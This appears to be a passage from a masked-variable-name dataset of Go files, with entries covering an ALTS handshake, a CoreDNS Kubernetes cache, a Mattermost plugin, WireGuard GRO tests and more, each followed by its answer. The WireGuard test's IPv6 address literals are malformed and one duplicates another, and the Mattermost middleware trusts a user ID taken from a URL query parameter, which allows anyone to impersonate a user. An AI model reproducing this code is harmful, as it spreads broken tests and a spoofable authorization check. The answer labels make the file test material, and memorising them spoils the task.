local service account. LocalServiceAccount() string // PeerRPCVersions returns the RPC version supported by the peer. PeerRPCVersions() *altsproto.RpcProtocolVersions } // altsTC is the credentials required for authenticating a connection using ALTS. // It implements credentials.TransportCredentials interface. type altsTC struct { info *credentials.ProtocolInfo side int accounts []string altsCenterAddress string serviceName string } func NewALTS(side int, accounts []string, altsCenterAddress string, serviceName string) credentials.TransportCredentials { if altsCenterAddress == """" { log.Error(""没有指定ALTS中心地址"") return nil } return &altsTC{ info: &credentials.ProtocolInfo{ SecurityProtocol: ""alts"", SecurityVersion: ""1.0"", }, side: side, accounts: accounts, altsCenterAddress: altsCenterAddress, serviceName: serviceName, } } // ClientHandshake implements the client side handshake protocol. func (g *altsTC) ClientHandshake(ctx context.Context, addr string, rawConn net.Conn) (_ net.Conn, _ credentials.AuthInfo, err error) { log.Debug(""ClientHandshake"", zap.String(""addr"", addr), zap.String(""rawConn"", rawConn.RemoteAddr().String())) hsConn, err := service.Dial(g.altsCenterAddress) if err != nil { log.Debug(""连接认证中心失败"", zap.Error(err)) return nil, nil, err } //var cancel context.CancelFunc //ctx, cancel = context.WithCancel(ctx) defer func() { if err != nil { log.Error(""认证失败"", zap.Error(err)) //cancel() } }() opts := commons.DefaultClientHandshakeOptions(g.serviceName) opts.TargetName = addr opts.TargetServiceAccounts = g.accounts opts.ClientIdentity = &altsproto.Identity{ ServiceName: g.serviceName, } opts.RPCVersions = &altsproto.RpcProtocolVersions{ MaxRpcVersion: maxRPCVersion, MinRpcVersion: minRPCVersion, } chs, err := commons.NewClientHandshake(ctx, hsConn, rawConn, opts) if err != nil { return nil, nil, err } defer func() { if err != nil { chs.Close() } }() secConn, authInfo, err := chs.ClientHandshake(ctx) if err != nil { log.Error(""认证握手是失败"", zap.Error(err)) return nil, nil, err } altsAuthInfo, ok := authInfo.(AuthInfo) if !ok { return nil, nil, errors.New(""client-side auth info is not of type alts.AuthInfo"") } match, _ := checkRPCVersions(opts.RPCVersions, altsAuthInfo.PeerRPCVersions()) if !match { log.Debug(""RPC版本不匹配"", zap.Error(err)) return nil, nil, fmt.Errorf(""server-side RPC versions are not compatible with this client, local versions: %v, peer versions: %v"", opts.RPCVersions, altsAuthInfo.PeerRPCVersions()) } return secConn, authInfo, nil } // ServerHandshake implements the server side ALTS handshaker. func (g *altsTC) ServerHandshake(rawConn net.Conn) (net.Conn, credentials.AuthInfo, error) { // Connecting to ALTS handshaker service. altsCenterConn, err := service.Dial(g.altsCenterAddress) if err != nil { log.Debug(""连接认证服务器失败"", zap.Error(err)) return nil, nil, err } // Do not close altsCenterConn since it's shared with other handshakes. ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) defer cancel() opts := commons.DefaultServerHandshakeOptions(g.serviceName) opts.TargetServiceAccounts = g.accounts opts.RPCVersions = &altsproto.RpcProtocolVersions{ MaxRpcVersion: maxRPCVersion, MinRpcVersion: minRPCVersion, } shs, err := commons.NewServerHandshake(ctx, altsCenterConn, rawConn, opts) if err != nil { return nil, nil, err } defer func() { if err != nil { shs.Close() } }() secConn, authInfo, err := shs.ServerHandshake(ctx) if err != nil { return nil, nil, err } altsAuthInfo, ok := authInfo.(AuthInfo) if !ok { return nil, nil, errors.New(""server-side auth info is not of type alts.AuthInfo"") } match, _ := checkRPCVersions(opts.RPCVersions, altsAuthInfo.PeerRPCVersions()) if !match { return nil, nil, fmt.Errorf(""client-side RPC versions is not compatible with this server, local versions: %v, peer versions: %v"", opts.RPCVersions, altsAuthInfo.PeerRPCVersions()) } return secConn, authInfo, nil } func (g *altsTC) Info() credentials.ProtocolInfo { return *g.info } func (g *altsTC) Clone() credentials.TransportCredentials { info := *g.info var accounts []string if g.accounts != nil { accounts = make([]string, len(g.accounts)) copy(accounts, g.accounts) } return &altsTC{ info: &info, side: g.side, altsCenterAddress: g.altsCenterAddress, accounts: accounts, } } func (g *altsTC) OverrideServerName( [MASK] string) error { g.info.ServerName = [MASK] return nil } // compareRPCVersion returns 0 if v1 == v2, 1 if v1 > v2 and -1 if v1 < v2. func compareRPCVersions(v1, v2 *altsproto.RpcProtocolVersions_Version) int { switch { case v1.GetMajor() > v2.GetMajor(), v1.GetMajor() == v2.GetMajor() && v1.GetMinor() > v2.GetMinor(): return 1 case v1.GetMajor() < v2.GetMajor(), v1.GetMajor() == v2.GetMajor() && v1.GetMinor() < v2.GetMinor(): return -1 } return 0 } // checkRPCVersions performs a version check between local and peer rpc protocol // versions. This function returns true if the check passes which means both // parties agreed on a common rpc protocol to use, and false otherwise. The // function also returns the highest common RPC protocol version both parties // agreed on. func checkRPCVersions(local, peer *altsproto.RpcProtocolVersions) (bool, *altsproto.RpcProtocolVersions_Version) { if local == nil || peer == nil { logger.Error(""invalid checkRPCVersions argument, either local or peer is nil."") return false, nil } // maxCommonVersion is MIN(local.max, peer.max). maxCommonVersion := local.GetMaxRpcVersion() if compareRPCVersions(local.GetMaxRpcVersion(), peer.GetMaxRpcVersion()) > 0 { maxCommonVersion = peer.GetMaxRpcVersion() } // minCommonVersion is MAX(local.min, peer.min). minCommonVersion := peer.GetMinRpcVersion() if compareRPCVersions(local.GetMinRpcVersion(), peer.GetMinRpcVersion()) > 0 { minCommonVersion = local.GetMinRpcVersion() } if compareRPCVersions(maxCommonVersion, minCommonVersion) < 0 { return false, nil } return true, maxCommonVersion } ",serverNameOverride 153,"package cache import ( ""time"" ""k8s.io/api/core/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" kcache ""k8s.io/client-go/tools/cache"" ""k8s.io/client-go/tools/clientcmd"" clientcmdapi ""k8s.io/client-go/tools/clientcmd/api"" clog ""github.com/coredns/coredns/plugin/pkg/log"" ) type k8sAPI struct { // Client cache for the Kubernetes API store kcache.Store reflector *kcache.Reflector reflectorChan chan struct{} // Kubernetes credentials (copied from Kubernetes plugin) APIServerList []string APICertAuth string APIClientCert string APIClientKey string } func newK8sAPI() (*k8sAPI, error) { k := new(k8sAPI) clientset, err := k.getKubernetesClient() if err != nil { return k, err } optionsModifier := func(options *metav1.ListOptions) { options.LabelSelector = ""k8s-cache.coredns.io/early-refresh=true"" } lw := kcache.NewFilteredListWatchFromClient( clientset.CoreV1().RESTClient(), ""pods"", metav1.NamespaceAll, optionsModifier, ) k.store, k.reflector = kcache.NewNamespaceKeyedIndexerAndReflector(lw, &v1.Pod{}, time.Second*10) k.reflectorChan = make(chan struct{}) go k.reflector.Run(k.reflectorChan) return k, nil } func (k *k8sAPI) getKubernetesClient() (*kubernetes.Clientset, error) { config, err := k.getClientConfig() if err != nil { return nil, err } clientset, err := kubernetes.NewForConfig(config) if err != nil { return nil, err } return clientset, nil } // Copied from the getClientConfig method of the kubernetes plugin func (k *k8sAPI) getClientConfig() (*rest.Config, error) { loadingRules := &clientcmd.ClientConfigLoadingRules{} overrides := &clientcmd.ConfigOverrides{} clusterinfo := clientcmdapi.Cluster{} authinfo := clientcmdapi.AuthInfo{} // Connect to API from in cluster if len(k.APIServerList) == 0 { cc, err := rest.InClusterConfig() if err != nil { return nil, err } cc.ContentType = ""application/vnd.kubernetes.protobuf"" return cc, err } // Connect to API from out of cluster // Only the first one is used. We will deprecate multiple endpoints later. clusterinfo.Server = k.APIServerList[0] if len(k.APICertAuth) > 0 { clusterinfo.CertificateAuthority = k.APICertAuth } if len(k.APIClientCert) > 0 { authinfo.ClientCertificate = k.APIClientCert } if len(k.APIClientKey) > 0 { authinfo.ClientKey = k.APIClientKey } overrides.ClusterInfo = clusterinfo overrides.AuthInfo = authinfo [MASK] := clientcmd.NewNonInteractiveDeferredLoadingClientConfig(loadingRules, overrides) cc, err := [MASK] .ClientConfig() if err != nil { return nil, err } cc.ContentType = ""application/vnd.kubernetes.protobuf"" return cc, err } // Get all IP addresses of all pods selected by k.reflector, i.e. those who should receive early cache refreshes. func (k *k8sAPI) getEarlyRefreshIPs() []string { items := k.store.List() ips := make([]string, 0, len(items)) for _, item := range items { pod, ok := item.(*v1.Pod) if !ok { log := clog.NewWithPlugin(""k8s_cache"") log.Errorf(""Cache item is not a *v1.Pod"") return nil } for ip := range pod.Status.PodIPs { ips = append(ips, pod.Status.PodIPs[ip].IP) } } return ips } ",clientConfig 154,"package ns import ( ""encoding/json"" ""fmt"" ""net/http"" ""os"" ) // FreeYachtRequest The structure of the request will be made to the availability endpoint. type FreeYachtRequest struct { Credentials *Credentials `json:""credentials""` PeriodFrom *NausysDate `json:""periodFrom,omitempty""` PeriodTo *NausysDate `json:""periodTo,omitempty""` YachtIds []int64 `json:""yachts,omitempty""` PriceFrom int `json:""priceFrom,omitempty""` PriceTo int `json:""priceTo,omitempty""` OrderBy int `json:""orderby,omitempty""` Direction int `json:""direction,omitempty""` IgnoreAvailability bool `json:""ignoreAvailability,omitempty""` Periods []*Period `json:""periods,omitempty""` IncludeExtendedDataSet bool `json:""includeExtendedDataSet,omitempty""` } // AvailabilityService operates over availability requests. type AvailabilityService service // GetAvailability returns availability for the specified yachts. func (as *AvailabilityService) GetAvailability( [MASK] *FreeYachtRequest) (ar *FreeYachtListResponse, err error) { [MASK] .Credentials = &Credentials{ Username: os.Getenv(APIUsernameContainer), Password: os.Getenv(APIPasswordContainer), } target := fmt.Sprintf(""%s/freeYachts"", ReservationURL) req, err := as.client.NewAPIRequest(http.MethodPost, target, [MASK] ) if err != nil { return } res, err := as.client.Do(req) if err != nil { return } if err = json.Unmarshal(res.content, &ar); err != nil { return } return } ",arq 155,"package achievements import ( ""context"" ""github.com/bcc-code/bcc-media-platform/backend/loaders"" ""github.com/bcc-code/bcc-media-platform/backend/sqlc"" ""github.com/bcc-code/bcc-media-platform/backend/user"" ""github.com/bcc-code/bcc-media-platform/backend/utils"" ""github.com/google/uuid"" ""github.com/samber/lo"" ""gopkg.in/guregu/null.v4"" ) // Constants for string keys const ( ActionCompleted = ""completed"" ActionCompletedItems = ""completed_items"" CollectionTopics = ""topics"" CollectionLessons = ""lessons"" CollectionTasks = ""tasks"" ) // Action defines what type of activity has happened that might trigger a new Achievement type Action struct { Collection string Action string } type achievedResult struct { ID uuid.UUID ConditionIDs []uuid.UUID } func amountToAchievedResult[T any](ctx context.Context, queries *sqlc.Queries, action Action, profileID uuid.UUID, factory func(ctx context.Context, id uuid.UUID) ([]T, error)) ([]achievedResult, error) { rows, err := factory(ctx, profileID) if err != nil { return nil, err } achieved, err := queries.GetAchievementsWithConditionAmountAchieved(ctx, sqlc.GetAchievementsWithConditionAmountAchievedParams{ ProfileID: profileID, Collection: action.Collection, Action: action.Action, Amount: null.IntFrom(int64(len(rows))), }) if err != nil { return nil, err } return lo.Map(achieved, func(i sqlc.GetAchievementsWithConditionAmountAchievedRow, _ int) achievedResult { return achievedResult{ ID: i.ID, ConditionIDs: i.ConditionIds, } }), nil } func completedTopicIDsToAchievedResult(ctx context.Context, queries *sqlc.Queries, profileID uuid.UUID, factory func(ctx context.Context, id uuid.UUID) ([]*uuid.UUID, error)) ([]achievedResult, error) { rows, err := factory(ctx, profileID) if err != nil { return nil, err } achieved, err := queries.GetAchievementsWithTopicsCompletedAchieved(ctx, sqlc.GetAchievementsWithTopicsCompletedAchievedParams{ ProfileID: profileID, TopicIds: utils.PointerArrayToArray(rows), }) if err != nil { return nil, err } return lo.Map(achieved, func(i sqlc.GetAchievementsWithTopicsCompletedAchievedRow, _ int) achievedResult { return achievedResult{ ID: i.ID, ConditionIDs: i.ConditionIds, } }), nil } // CheckNewAchievements achieved since last check func CheckNewAchievements(ctx context.Context, queries *sqlc.Queries, loaders *loaders.BatchLoaders, action Action) error { ginCtx, _ := utils.GinCtx(ctx) p := user.GetProfileFromCtx(ginCtx) if p == nil { return nil } var achieved []achievedResult var err error switch action.Collection { case CollectionTopics: switch action.Action { case ActionCompleted: achieved, err = amountToAchievedResult(ctx, queries, action, p.ID, loaders.CompletedTopicsLoader.Get) case ActionCompletedItems: achieved, err = completedTopicIDsToAchievedResult(ctx, queries, p.ID, loaders.CompletedTopicsLoader.Get) } case CollectionLessons: switch action.Action { case ActionCompleted: achieved, err = CheckCompletedLessonAchivements(ctx, queries, loaders, p.ID) } case CollectionTasks: switch action.Action { case ActionCompleted: achieved, err = amountToAchievedResult(ctx, queries, action, p.ID, loaders.CompletedTasksLoader.Get) } } if err != nil { return err } for _, a := range achieved { err = queries.SetAchievementAchieved(ctx, sqlc.SetAchievementAchievedParams{ AchievementID: a.ID, ProfileID: p.ID, ConditionIds: a.ConditionIDs, }) if err != nil { return err } } return nil } func CheckCompletedLessonAchivements(ctx context.Context, queries *sqlc.Queries, loaders *loaders.BatchLoaders, profileID uuid.UUID) ([]achievedResult, error) { lessons, err := loaders.CompletedLessonsLoader.Get(ctx, profileID) if err != nil { return nil, err } l := utils.PointerArrayToArray(lessons) completedLessons, err := loaders.StudyLessonLoader.GetMany(ctx, l) if err != nil { return nil, err } completedCount := map[uuid.UUID]int32{} totalCompletedLessons := int32(len(completedLessons)) for _, l := range completedLessons { if _, ok := completedCount[l.TopicID]; !ok { completedCount[l.TopicID] = 0 } completedCount[l.TopicID]++ } conds, err := queries.GetNewConditionsForProfile(ctx, profileID) if err != nil { return nil, err } counts := map[uuid.UUID]int32{} achieved := []achievedResult{} // Count completed for each condition for _, c := range conds { if _, ok := counts[c.ConditionID]; !ok { counts[c.ConditionID] = 0 } if len(c.Studytopics) == 0 { counts[c.ConditionID] = totalCompletedLessons if counts[c.ConditionID] >= c.Amount { achieved = append(achieved, achievedResult{ ID: c.AchievementID, ConditionIDs: []uuid.UUID{ c.ConditionID, }, }) } continue } for _, t := range c.Studytopics { counts[c.ConditionID] += completedCount[t] if counts[c.ConditionID] >= c.Amount { achieved = append(achieved, achievedResult{ ID: c.AchievementID, ConditionIDs: []uuid.UUID{ c.ConditionID, }, }) continue } } } return achieved, nil } // CheckAllAchievements checks if any achievement has been achieved func CheckAllAchievements(ctx context.Context, queries *sqlc.Queries, loaders *loaders.BatchLoaders) error { [MASK] := []Action{ { Collection: CollectionTopics, Action: ActionCompletedItems, }, { Collection: CollectionLessons, Action: ActionCompleted, }, { Collection: CollectionTasks, Action: ActionCompleted, }, } for _, a := range [MASK] { err := CheckNewAchievements(ctx, queries, loaders, a) if err != nil { return err } } return nil } ",actions 156,"package flashsale import ( ""encoding/json"" ""log"" ""os"" ""time"" ""github.com/TerrexTech/go-commonutils/commonutil"" ""github.com/TerrexTech/go-kafkautils/kafka"" ""github.com/TerrexTech/go-eventstore-models/model"" ""github.com/TerrexTech/go-mongoutils/mongo"" ""github.com/TerrexTech/uuuid"" ""github.com/pkg/errors"" ) var producer *kafka.Producer // Insert handles ""insert"" events. func Insert(collection *mongo.Collection, event *model.Event) *model.Document { switch event.ServiceAction { case ""flashSaleValidated"": return flashSaleValidated(collection, event) default: return flashSaleCreated(collection, event) } } func updateFlashSale(s *FlashSale) bool { if len(s.Items) == 0 { return false } [MASK] , err := json.Marshal(s) if err != nil { err = errors.Wrap(err, ""Error marshalling FlashSaleItems"") log.Println(err) return false } uid, err := uuuid.NewV4() if err != nil { err = errors.Wrap(err, ""Error generating UUID"") log.Println(err) return false } e := model.Event{ AggregateID: 2, EventAction: ""update"", ServiceAction: ""createFlashSale"", Data: [MASK] , NanoTime: time.Now().UnixNano(), UUID: uid, Version: 0, YearBucket: 2018, } if producer == nil { kafkaBrokersStr := os.Getenv(""KAFKA_BROKERS"") producer, err = kafka.NewProducer(&kafka.ProducerConfig{ KafkaBrokers: *commonutil.ParseHosts(kafkaBrokersStr), }) if err != nil { err = errors.Wrap(err, ""ValidateFlashSale: Error creating producer"") log.Println(err) return false } } topic := os.Getenv(""KAFKA_PRODUCER_EVENT_TOPIC"") result, err := json.Marshal(e) if err != nil { err = errors.Wrap(err, ""Insert: Error marshalling result"") log.Println(err) return false } producer.Input() <- kafka.CreateMessage(topic, result) return true } ",marshalItems 157,"package main import ( ""flag"" ""log"" ""os"" ""strings"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/sns"" ) var awsRegion = """" var snsArn = """" func sendSMS(quote string) { sess := session.Must(session.NewSession(&aws.Config{Region: aws.String(awsRegion)})) svc := sns.New(sess) [MASK] := &sns.PublishInput{ Message: aws.String(quote), TopicArn: aws.String(snsArn), } resp, err := svc.Publish( [MASK] ) if err != nil { log.Println(""Failed to publish the msg:"", err) } log.Println(""Message was published successfully!"", resp) } func join(quotes ...string) string { var sb strings.Builder for _, q := range quotes { sb.WriteString(q) } return sb.String() } func equal(a, b []Media) bool { if len(a) != len(b) { return false } for i, v := range a { if v.Id != b[i].Id { return false } } return true } func checkVariables() { if endpoint == """" || userKey == """" || apiKey == """" || awsRegion == """" || snsArn == """" { flag.Usage() os.Exit(0) } } ",params 158,"package main import ( ""bufio"" ""fmt"" ""os"" ) // DIM is the dimension of the board const DIM = 9 func main() { if len(os.Args) != 2 { fmt.Println(""Puzzle filename required"") os.Exit(1) } board, err := readGame(os.Args[1]) if err != nil { fmt.Println(err) return } fmt.Println(""Starting configuration:"") fmt.Println(board) solved := recursiveSolver(board) fmt.Printf(""\nSolved? %v\n\n"", solved) fmt.Println(""Ending configuration:"") fmt.Println(board) validateSolution(*board) } // readGame reads a board from a text file, ignoring non-numeric characters func readGame( [MASK] string) (*Game, error) { file, err := os.Open( [MASK] ) if err != nil { return nil, err } scanner := bufio.NewScanner(file) b := NewGame() for row := 0; row < DIM; row++ { if !scanner.Scan() { return nil, fmt.Errorf(""EOF while reading row %v"", row+1) } line := scanner.Text() if err := scanner.Err(); err != nil { return nil, err } col := 0 for _, c := range line { // ASCII values 48..57 represent 0..9 if 48 <= c && c <= 57 { // c is numeric if c > 0 { b.MakeMove(row, col, int(c-48)) } col++ } } } return b, nil } // validateSolution cross checks each cell of the board. Not part of the // solver, but used to validate the solvers correctness. func validateSolution(b Game) { for row := 0; row < DIM; row++ { for col := 0; col < DIM; col++ { // Hold on to the move for this cell expect := b.board[row][col] // Reset move and check that the expected move is in the candidate list b.board[row][col] = 0 candidates := b.CellCandidates(row, col) if !candidates[expect] { fmt.Printf(""Invalid value %v at row %v, col %v\n"", expect, row+1, col+1) } } } } ",fname 159,"package main import ( ""context"" ""encoding/json"" ""net/http"" ""github.com/gorilla/mux"" ""github.com/mattermost/mattermost/server/public/model"" ""github.com/mattermost/mattermost/server/public/plugin"" ) // ServeHTTP demonstrates a plugin that handles HTTP requests by greeting the world. // The root URL is currently /plugins/com.mattermost.plugin-starter-template/api/v1/. Replace com.mattermost.plugin-starter-template with the plugin ID. const ( UserPropsKeyCustomStatus = ""customStatus"" ) func (p *Plugin) ServeHTTP(c *plugin.Context, w http.ResponseWriter, r *http.Request) { router := mux.NewRouter() // Middleware to require that the user is logged in router.Use(p.MattermostAuthorizationRequired) apiRouter := router.PathPrefix(""/api/v1"").Subrouter() apiRouter.HandleFunc(""/hello"", p.HelloWorld).Methods(http.MethodGet) apiRouter.HandleFunc(""/custom-status-change"", p.CustomStatusChange).Methods(http.MethodPut) router.ServeHTTP(w, r) } func (p *Plugin) MattermostAuthorizationRequired(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { userID := r.URL.Query().Get(""Mattermost-User-ID"") if userID == """" { http.Error(w, ""Not authorized"", http.StatusUnauthorized) return } next.ServeHTTP(w, r) }) } func (p *Plugin) HelloWorld(w http.ResponseWriter, r *http.Request) { if _, err := w.Write([]byte(""Hello, world!"")); err != nil { p.API.LogError(""Failed to write response"", ""error"", err) http.Error(w, err.Error(), http.StatusInternalServerError) } } func (p *Plugin) CustomStatusChange(w http.ResponseWriter, r *http.Request) { var cs model.CustomStatus if err := json.NewDecoder(r.Body).Decode(&cs); err != nil { http.Error(w, ""Invalid request body"", http.StatusBadRequest) return } userID := r.URL.Query().Get(""Mattermost-User-ID"") if userID == """" { http.Error(w, ""Not authorized"", http.StatusUnauthorized) return } [MASK] := p.SetCustomStatusWorker(r.Context(), userID, &cs) if [MASK] != nil { http.Error(w, [MASK] .Error(), [MASK] .StatusCode) return } w.WriteHeader(http.StatusOK) } func (p *Plugin) SetCustomStatusWorker(ctx context.Context, userID string, cs *model.CustomStatus) *model.AppError { if cs == nil || (cs.Emoji == """" && cs.Text == """") { return model.NewAppError(""SetCustomStatus"", ""api.custom_status.set_custom_statuses.update.app_error"", nil, """", http.StatusBadRequest) } user, err := p.API.GetUser(userID) if err != nil { return model.NewAppError(""SetCustomStatus"", ""api.custom_status.set_custom_statuses.user_not_found"", nil, """", http.StatusInternalServerError) } if err := setCustomStatus(user, cs); err != nil { p.API.LogError(""Failed to set custom status"", ""userID"", userID, ""error"", err) return model.NewAppError(""SetCustomStatus"", ""api.custom_status.set_custom_statuses.set_failed"", nil, """", http.StatusInternalServerError) } _, updateErr := p.API.UpdateUser(user) if updateErr != nil { p.API.LogError(""Failed to update user"", ""userID"", userID, ""error"", err) return model.NewAppError(""SetCustomStatus"", ""api.custom_status.set_custom_statuses.update_failed"", nil, """", http.StatusInternalServerError) } return nil } func setCustomStatus(user *model.User, cs *model.CustomStatus) error { makeNonNil(user) statusJSON, jsonErr := json.Marshal(cs) if jsonErr != nil { return jsonErr } user.Props[UserPropsKeyCustomStatus] = string(statusJSON) return nil } func makeNonNil(user *model.User) { if user.Props == nil { user.Props = make(map[string]string) } if user.NotifyProps == nil { user.NotifyProps = make(map[string]string) } } ",appErr 160,"/* SPDX-License-Identifier: MIT * * Copyright (C) 2017-2023 WireGuard LLC. All Rights Reserved. */ package tun import ( ""net/netip"" ""testing"" ""golang.org/x/sys/unix"" ""golang.zx2c4.com/wireguard/conn"" ""gvisor.dev/gvisor/pkg/tcpip"" ""gvisor.dev/gvisor/pkg/tcpip/header"" ) const ( offset = virtioNetHdrLen ) var ( ip4PortA = netip.MustParseAddrPort(""192.0.2.1:1"") ip4PortB = netip.MustParseAddrPort(""192.0.2.2:1"") ip4PortC = netip.MustParseAddrPort(""192.0.2.3:1"") ip6PortA = netip.MustParseAddrPort(""[200fd00:c2b6:b24b:be67:2827:688d:e6a1:6a3b]:1"") ip6PortB = netip.MustParseAddrPort(""[2001:fc00:e968:6179::de52:7100]:1"") ip6PortC = netip.MustParseAddrPort(""[200fd00:c2b6:b24b:be67:2827:688d:e6a1:6a3b]:1"") ) func tcp4PacketMutateIPFields(srcIPPort, dstIPPort netip.AddrPort, flags header.TCPFlags, segmentSize, seq uint32, ipFn func(*header.IPv4Fields)) []byte { totalLen := 40 + segmentSize b := make([]byte, offset+int(totalLen), 65535) ipv4H := header.IPv4(b[offset:]) srcAs4 := srcIPPort.Addr().As4() dstAs4 := dstIPPort.Addr().As4() ipFields := &header.IPv4Fields{ SrcAddr: tcpip.AddrFromSlice(srcAs4[:]), DstAddr: tcpip.AddrFromSlice(dstAs4[:]), Protocol: unix.IPPROTO_TCP, TTL: 64, TotalLength: uint16(totalLen), } if ipFn != nil { ipFn(ipFields) } ipv4H.Encode(ipFields) tcpH := header.TCP(b[offset+20:]) tcpH.Encode(&header.TCPFields{ SrcPort: srcIPPort.Port(), DstPort: dstIPPort.Port(), SeqNum: seq, AckNum: 1, DataOffset: 20, Flags: flags, WindowSize: 3000, }) ipv4H.SetChecksum(^ipv4H.CalculateChecksum()) pseudoCsum := header.PseudoHeaderChecksum(unix.IPPROTO_TCP, ipv4H.SourceAddress(), ipv4H.DestinationAddress(), uint16(20+segmentSize)) tcpH.SetChecksum(^tcpH.CalculateChecksum(pseudoCsum)) return b } func tcp4Packet(srcIPPort, dstIPPort netip.AddrPort, flags header.TCPFlags, segmentSize, seq uint32) []byte { return tcp4PacketMutateIPFields(srcIPPort, dstIPPort, flags, segmentSize, seq, nil) } func tcp6PacketMutateIPFields(srcIPPort, dstIPPort netip.AddrPort, flags header.TCPFlags, segmentSize, seq uint32, ipFn func(*header.IPv6Fields)) []byte { totalLen := 60 + segmentSize b := make([]byte, offset+int(totalLen), 65535) [MASK] := header.IPv6(b[offset:]) srcAs16 := srcIPPort.Addr().As16() dstAs16 := dstIPPort.Addr().As16() ipFields := &header.IPv6Fields{ SrcAddr: tcpip.AddrFromSlice(srcAs16[:]), DstAddr: tcpip.AddrFromSlice(dstAs16[:]), TransportProtocol: unix.IPPROTO_TCP, HopLimit: 64, PayloadLength: uint16(segmentSize + 20), } if ipFn != nil { ipFn(ipFields) } [MASK] .Encode(ipFields) tcpH := header.TCP(b[offset+40:]) tcpH.Encode(&header.TCPFields{ SrcPort: srcIPPort.Port(), DstPort: dstIPPort.Port(), SeqNum: seq, AckNum: 1, DataOffset: 20, Flags: flags, WindowSize: 3000, }) pseudoCsum := header.PseudoHeaderChecksum(unix.IPPROTO_TCP, [MASK] .SourceAddress(), [MASK] .DestinationAddress(), uint16(20+segmentSize)) tcpH.SetChecksum(^tcpH.CalculateChecksum(pseudoCsum)) return b } func tcp6Packet(srcIPPort, dstIPPort netip.AddrPort, flags header.TCPFlags, segmentSize, seq uint32) []byte { return tcp6PacketMutateIPFields(srcIPPort, dstIPPort, flags, segmentSize, seq, nil) } func Test_handleVirtioRead(t *testing.T) { tests := []struct { name string hdr virtioNetHdr pktIn []byte wantLens []int wantErr bool }{ { ""tcp4"", virtioNetHdr{ flags: unix.VIRTIO_NET_HDR_F_NEEDS_CSUM, gsoType: unix.VIRTIO_NET_HDR_GSO_TCPV4, gsoSize: 100, hdrLen: 40, csumStart: 20, csumOffset: 16, }, tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck|header.TCPFlagPsh, 200, 1), []int{140, 140}, false, }, { ""tcp6"", virtioNetHdr{ flags: unix.VIRTIO_NET_HDR_F_NEEDS_CSUM, gsoType: unix.VIRTIO_NET_HDR_GSO_TCPV6, gsoSize: 100, hdrLen: 60, csumStart: 40, csumOffset: 16, }, tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck|header.TCPFlagPsh, 200, 1), []int{160, 160}, false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { out := make([][]byte, conn.IdealBatchSize) sizes := make([]int, conn.IdealBatchSize) for i := range out { out[i] = make([]byte, 65535) } tt.hdr.encode(tt.pktIn) n, err := handleVirtioRead(tt.pktIn, out, sizes, offset) if err != nil { if tt.wantErr { return } t.Fatalf(""got err: %v"", err) } if n != len(tt.wantLens) { t.Fatalf(""got %d packets, wanted %d"", n, len(tt.wantLens)) } for i := range tt.wantLens { if tt.wantLens[i] != sizes[i] { t.Fatalf(""wantLens[%d]: %d != outSizes: %d"", i, tt.wantLens[i], sizes[i]) } } }) } } func flipTCP4Checksum(b []byte) []byte { at := virtioNetHdrLen + 20 + 16 // 20 byte ipv4 header; tcp csum offset is 16 b[at] ^= 0xFF b[at+1] ^= 0xFF return b } func Fuzz_handleGRO(f *testing.F) { pkt0 := tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1) pkt1 := tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101) pkt2 := tcp4Packet(ip4PortA, ip4PortC, header.TCPFlagAck, 100, 201) pkt3 := tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 1) pkt4 := tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 101) pkt5 := tcp6Packet(ip6PortA, ip6PortC, header.TCPFlagAck, 100, 201) f.Add(pkt0, pkt1, pkt2, pkt3, pkt4, pkt5, offset) f.Fuzz(func(t *testing.T, pkt0, pkt1, pkt2, pkt3, pkt4, pkt5 []byte, offset int) { pkts := [][]byte{pkt0, pkt1, pkt2, pkt3, pkt4, pkt5} toWrite := make([]int, 0, len(pkts)) handleGRO(pkts, offset, newTCPGROTable(), newTCPGROTable(), &toWrite) if len(toWrite) > len(pkts) { t.Errorf(""len(toWrite): %d > len(pkts): %d"", len(toWrite), len(pkts)) } seenWriteI := make(map[int]bool) for _, writeI := range toWrite { if writeI < 0 || writeI > len(pkts)-1 { t.Errorf(""toWrite value (%d) outside bounds of len(pkts): %d"", writeI, len(pkts)) } if seenWriteI[writeI] { t.Errorf(""duplicate toWrite value: %d"", writeI) } seenWriteI[writeI] = true } }) } func Test_handleGRO(t *testing.T) { tests := []struct { name string pktsIn [][]byte wantToWrite []int wantLens []int wantErr bool }{ { ""multiple flows"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), // v4 flow 1 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 101), // v4 flow 1 tcp4Packet(ip4PortA, ip4PortC, header.TCPFlagAck, 100, 201), // v4 flow 2 tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 1), // v6 flow 1 tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 101), // v6 flow 1 tcp6Packet(ip6PortA, ip6PortC, header.TCPFlagAck, 100, 201), // v6 flow 2 }, []int{0, 2, 3, 5}, []int{240, 140, 260, 160}, false, }, { ""PSH interleaved"", [][]byte{ tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 1), // v4 flow 1 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck|header.TCPFlagPsh, 100, 101), // v4 flow 1 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 201), // v4 flow 1 tcp4Packet(ip4PortA, ip4PortB, header.TCPFlagAck, 100, 301), // v4 flow 1 tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 1), // v6 flow 1 tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck|header.TCPFlagPsh, 100, 101), // v6 flow 1 tcp6Packet(ip6PortA, ip6PortB, header.TCPFlagAck, 100, 201), // v6 flow 1 tcp6Packet(ip6PortA, ip6PortB, 